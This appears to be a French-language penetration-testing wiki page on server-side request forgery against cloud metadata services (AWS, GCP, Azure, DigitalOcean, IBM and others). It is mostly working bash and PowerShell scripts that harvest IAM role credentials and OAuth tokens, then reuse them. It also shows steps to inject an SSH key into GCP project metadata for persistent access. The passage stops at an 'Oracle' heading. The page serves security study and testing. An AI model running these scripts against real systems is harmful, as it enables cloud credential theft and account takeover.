# Cloud SSRF {{#include ../../banners/hacktricks-training.md}} ## AWS ### Abuser de SSRF dans l'environnement AWS EC2 **Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** et ensuite utiliser ce jeton pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF). > [!CAUTION] > Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2. > > De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un jeton qui incluent l'en-tête `X-Forwarded-For`**. Cela vise à empêcher les proxies inverses mal configurés d'y accéder. Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci : ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` En tant qu'**exemple de credentials IAM disponibles publiquement** exposés, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Vous pouvez également vérifier les **credentials de sécurité EC2 publics** à : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Vous pouvez ensuite prendre **ces credentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que ce rôle a la permission de faire**. Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci : ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Remarquez le **aws_session_token**, cela est indispensable pour que le profil fonctionne. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges. ### SSRF dans les identifiants AWS ECS (Service de Conteneurs) **ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**. Si vous accédez à _**http://169.254.170.2/v2/credentials/\**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \**. Pour trouver le \, vous devez lire la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** à l'intérieur de la machine.\ Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\ L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!TIP] > Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2. ### SSRF pour AWS Lambda Dans ce cas, les **identifiants sont stockés dans des variables d'environnement**. Donc, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**. Le **nom** des **variables d'environnement intéressantes** est : - `AWS_SESSION_TOKEN` - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. > [!WARNING] > Notez que les **identifiants lambda** se trouvent à l'intérieur des **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application. ### SSRF URL pour AWS Elastic Beanstalk Nous récupérons le `accountId` et la `region` depuis l'API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Nous récupérons ensuite le `AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### URL SSRF pour Google Cloud Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes : - [http://169.254.169.254](http://169.254.169.254) - [http://metadata.google.internal](http://metadata.google.internal) - [http://metadata](http://metadata) Points de terminaison intéressants pour extraire des informations : ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta ne nécessite PAS d'en-tête pour le moment (merci Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] > Afin de **utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire : > > ```bash > # Via env vars > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > > # Via setup > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list > gcloud config unset auth/access_token_file > ``` ### Ajouter une clé SSH Extraire le jeton ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Maintenant, poussez la clé SSH. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### Cloud Functions L'endpoint de métadonnées fonctionne de la même manière que dans les VMs mais sans certains endpoints : ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean > [!WARNING] > Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot de métadonnées. Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). - **Doit** contenir l'en-tête `Metadata: true` - Ne doit **pas** contenir un en-tête `X-Forwarded-For` > [!TIP] > Une VM Azure peut avoir 1 identité gérée par le système et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez **imiter toutes les identités gérées attachées à une VM**. > > Lors de la demande d'un jeton d'accès à l'endpoint de métadonnées, par défaut, le service de métadonnées utilisera l'**identité gérée assignée par le système** pour générer le jeton, s'il y a une identité gérée assignée par le système. Dans le cas où il n'y a qu'**UNE identité gérée assignée par l'utilisateur**, alors celle-ci sera utilisée par défaut. Cependant, s'il n'y a pas d'identité gérée assignée par le système et qu'il y a **plusieurs identités gérées assignées par l'utilisateur**, alors le service de métadonnées renverra une erreur indiquant qu'il y a plusieurs identités gérées et qu'il est nécessaire de **spécifier laquelle utiliser**. > > Malheureusement, je n'ai pas pu trouver d'endpoint de métadonnées indiquant toutes les identités gérées qu'une VM a attachées, donc découvrir toutes les identités gérées assignées à une VM pourrait être une tâche difficile du point de vue d'une équipe rouge. > > Par conséquent, pour trouver toutes les identités gérées attachées, vous pouvez faire : > > - Obtenir **les identités attachées avec az cli** (si vous avez déjà compromis un principal dans le locataire Azure) > > ```bash > az vm identity show \ > --resource-group \ > --name > ``` > > - Obtenir **les identités attachées** en utilisant l'identité gérée par défaut dans les métadonnées : > > ```bash > export API_VERSION="2021-12-13" > > # Obtenir le jeton de l'identité gérée par défaut > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') > > # Obtenir les détails nécessaires > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > > # Essayer d'obtenir les identités gérées attachées > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > > - **Obtenir toutes** les identités gérées définies dans le locataire et **forcer** pour voir si l'une d'elles est attachée à la VM : > > ```bash > az identity list > ``` > [!CAUTION] > Dans les demandes de jeton, utilisez l'un des paramètres `object_id`, `client_id` ou `msi_res_id` pour indiquer l'identité gérée que vous souhaitez utiliser ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si aucun, la **MI par défaut sera utilisée**. {{#tabs}} {{#tab name="Bash"}} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) ## Get management token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token ## Get graph token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token ## Get vault token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token ## Get storage token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token # More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {{#endtab}} {{#endtabs}} > [!WARNING] > Notez que le point de terminaison **`http://169.254.169.254/metadata/v1/instanceinfo` ne nécessite pas l'en-tête `Metadata: True`**, ce qui est excellent pour montrer l'impact des vulnérabilités SSRF dans Azure où vous ne pouvez pas ajouter cet en-tête. ### Azure App & Services de Fonctions & Comptes d'Automatisation À partir de **env**, vous pouvez obtenir les valeurs de **`IDENTITY_HEADER`** et **`IDENTITY_ENDPOINT`**. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées. La plupart du temps, vous voulez un jeton pour l'une de ces ressources : - [https://storage.azure.com](https://storage.azure.com/) - [https://vault.azure.net](https://vault.azure.net/) - [https://graph.microsoft.com](https://graph.microsoft.com/) - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] > Dans les demandes de jeton, utilisez l'un des paramètres `object_id`, `client_id` ou `msi_res_id` pour indiquer l'identité gérée que vous souhaitez utiliser ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si aucun, la **MI par défaut sera utilisée**. {{#tabs}} {{#tab name="Bash"}} ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # (Fingerprint) You should also be able to find the folder: ls /opt/microsoft # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get vault token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get storage token curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Define the API version $API_VERSION = "2019-08-01" # Function to get a token for a specified resource function Get-Token { param ( [string]$Resource ) $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" $headers = @{ "X-IDENTITY-HEADER" = $IDENTITY_HEADER } try { $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get $response.access_token } catch { Write-Error "Error obtaining token for $Resource: $_" } } # Get Management Token $managementToken = Get-Token -Resource "https://management.azure.com/" Write-Host "Management Token: $managementToken" # Get Graph Token $graphToken = Get-Token -Resource "https://graph.microsoft.com/" Write-Host "Graph Token: $graphToken" # Get Vault Token $vaultToken = Get-Token -Resource "https://vault.azure.net/" Write-Host "Vault Token: $vaultToken" # Get Storage Token $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" # Using oneliners ## Get management token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get graph token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get vault token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get storage token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ``` {{#endtab}} {{#endtabs}} ## IBM Cloud > [!WARNING] > Notez qu'IBM n'active pas par défaut les métadonnées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM IBM cloud. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` Documentation pour les services de métadonnées de diverses plateformes est décrite ci-dessous, mettant en évidence les méthodes par lesquelles les informations de configuration et d'exécution pour les instances peuvent être accessibles. Chaque plateforme offre des points de terminaison uniques pour accéder à ses services de métadonnées. ## Packetcloud Pour accéder aux métadonnées de Packetcloud, la documentation peut être trouvée à : [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être accessibles via : - `http://169.254.169.254/openstack` ## HP Helion La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à : - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle 